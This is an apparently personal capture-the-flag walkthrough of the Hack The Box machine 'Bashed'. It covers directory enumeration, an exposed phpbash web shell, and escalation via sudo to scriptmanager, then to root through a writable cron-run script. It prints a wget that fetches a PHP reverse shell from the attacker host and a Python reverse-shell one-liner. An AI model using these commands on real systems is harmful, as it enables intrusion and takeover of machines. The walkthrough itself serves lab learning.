

Bashed

10.10.10.68

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Found this cool /dev directory

```
(root@kali)-[~/htb/bashed]
# gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/big.txt -t 30

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.10.68
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2021/03/30 15:20:43 Starting gobuster in directory enumeration mode

/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/css (Status: 301) [Size: 308] [→ http://10.10.10.68/css/]
/dev (Status: 301) [Size: 308] [→ http://10.10.10.68/dev/]
/fonts (Status: 301) [Size: 310] [→ http://10.10.10.68/fonts/]
/images (Status: 301) [Size: 311] [→ http://10.10.10.68/images/]
/js (Status: 301) [Size: 307] [→ http://10.10.10.68/js/]
/php (Status: 301) [Size: 308] [→ http://10.10.10.68/php/]
/server-status (Status: 403) [Size: 299]
/uploads (Status: 301) [Size: 312] [→ http://10.10.10.68/uploads/]

2021/03/30 15:21:29 Finished
```

Navigating to it gave me a web shell. And I got the user flag

```
10.10.10.68/dev/phpbash.php
Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security
www-data@bashed: /var/www/html/uploads# ls
index.html
test
www-data@bashed: /var/www/html/uploads# ls
about.html
config.php
contact.html
css
demo-images
dev
fonts
images
index.html
js
php
scroll.html
single.html
style.css
uploads
www-data@bashed: /var/www/html/uploads# wget 10.10.14.22:7800/php-reverse-shell.php
--2021-03-30 12:44:15-- http://10.10.14.22:7800/php-reverse-shell.php
Connecting to 10.10.14.22:7800... connected.
HTTP request sent, awaiting response... 404 File not found
2021-03-30 12:44:15 ERROR 404: File not found.

www-data@bashed: /var/www/html/uploads# wget 10.10.14.22:7800/php-reverse-shell.php
--2021-03-30 12:44:38-- http://10.10.14.22:7800/php-reverse-shell.php
Connecting to 10.10.14.22:7800... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5493 (5.4K) [application/octet-stream]
Saving to: 'php-reverse-shell.php'

0K ..... 100% 43.1M=0s

2021-03-30 12:44:38 (43.1 MB/s) - 'php-reverse-shell.php' saved [5493/5493]

www-data@bashed: /var/www/html/uploads# ls
index.html
php-reverse-shell.php
test
www-data: /var/www/html/uploads#
```

Next I wanted to get a reverse shell. I used a basic php reverse shell that I uploaded /var/www/html/uploads. Executed it in browser with a listener then got a better shell

```
(root@kali) - [/opt/shellz]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.68] 34526
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64
GNU/Linux
12:47:02 up 30 min, 0 users, load average: 0.00, 0.00, 0.00
USER load TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

I then ran LinEnum.sh and found that I could run any command and "scrip manager"

```
User www-data may run the following commands on bashed:  
(scriptmanager : scriptmanager) NOPASSWD: ALL
```

Then I just did a simple command to become the script manager user we are just telling the system that we now want to use /bin/bash as scriptmanager aka we want a shell

```
www-data@bashed:/$ sudo -u scriptmanager bash  
sudo -u scriptmanager bash  
scriptmanager@bashed:/$ id  
id  
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
```

I found a weird /Scripts dir

Inside there was a python file that was being executed every once and a while as a cron job. All it would do is print some string to a txt file. So if we take that file and change it to give us a reverse shell we can get root if its running as root. And thats exactly what happened.

```
root@bashed:/scripts# cat test.py  
cat test.py  
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  
root@bashed:/scripts#
```

after a minute or two it ran and I got a shell

I used wget and python -m SimpleHTTPServer 7800 to get the files over